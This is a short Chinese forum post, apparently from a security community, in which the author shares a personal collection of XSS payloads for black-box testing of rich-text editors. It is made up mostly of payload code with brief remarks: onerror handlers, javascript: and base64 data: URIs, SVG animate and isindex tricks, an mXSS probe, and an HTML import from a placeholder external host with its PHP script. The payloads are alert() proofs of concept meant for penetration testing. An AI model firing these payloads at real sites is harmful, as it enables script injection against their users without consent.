分享些自己平时测试黑盒测试富文本XSS漏洞的payload
全是自己总结的,也不多,但是比较有代表性。先知平台首发!

[code]</textarea>'"><img src=x onerror=alert(1)> 我最优先测试的代码
<a href="javascript:alert(1)">asd</a>  循环过滤javascript的时候可以用  谷歌适用
<style><img src=\\"</style><img src=x onerror=alert(1);//\\"> 利用标签的优先级解析原理
<a href="javascript:alert(1)">click</a> 过滤了javascript关键字,过滤了冒号
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiaGFjayBieSBweDE2MjQiKTwvc2NyaXB0Pg==>  base64的形式 不适用与IE
"><input onfocus=alert(2) autofocus>  input标签自动触发
<listing><img src=1 onerror=alert(1) ></listing>  mxss的简单测试[/code]

然后关于expression之类的低版本IE下的xss这里就不贴了,姿势太多了。。。

还有些XSS的poc一般上面的没测出来我也会去试试。

[code]AAAA\<p>X<span/\//id="x">xxxx</span><xml/\//id="xxx">xxxx</xml><xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="<imgsrc=x:xonerror=alert(1)>">

<embed type="application/x-shockwave-flash" class="edui-faked-video" pluginspage="http://www.macromedia.com/go/getflashplayer&quot; src="javascript:alert(1)" width="22" height="22" align="none" wmode="transparent" play="true" loop="false" menu="false" allowscriptaccess="never" allowfullscreen="true" />

<svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=10000 /><animate attributeName="xlink:href" values="javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/> </a></svg>

<form action="javascript:alert(1)">
<label>有种点我一下 <input type="image" name="isindex" /></label>
</form>
<p>
aaaaaaaaaa
</p>

<isindex action="javascript:alert(1)" type=image>

<embed/src=//xxxxx>aaaa

<embed/src=//xxxxx?[/code]
还有一些常用的,也在时时总结积累中,比如

[code]<link rel=import href=http://xxx/y.php>[/code]

y.php的内容如下[code]<?php
header("Access-Control-Allow-Origin: *");
?>
<script>
alert(location.host);
</script>[/code]这姿势国内的话应该是phith0n在这里首次提出的吧。http://static.hx99.net/static/bugs/wooyun-2015-090279.html

一般我测试富文本就大概测试这么点吧,因为还是应该去一边测一边分析,没必要把一些差不多的payload一个个的去测很多次。

不过其实如果有专门去防御的话,这些代码一般也没啥卵用。所以还是要学习些javascript之类的基础,去具体问题具体分析的比较好。

点击收藏 | 0 关注 | 0
登录 后跟帖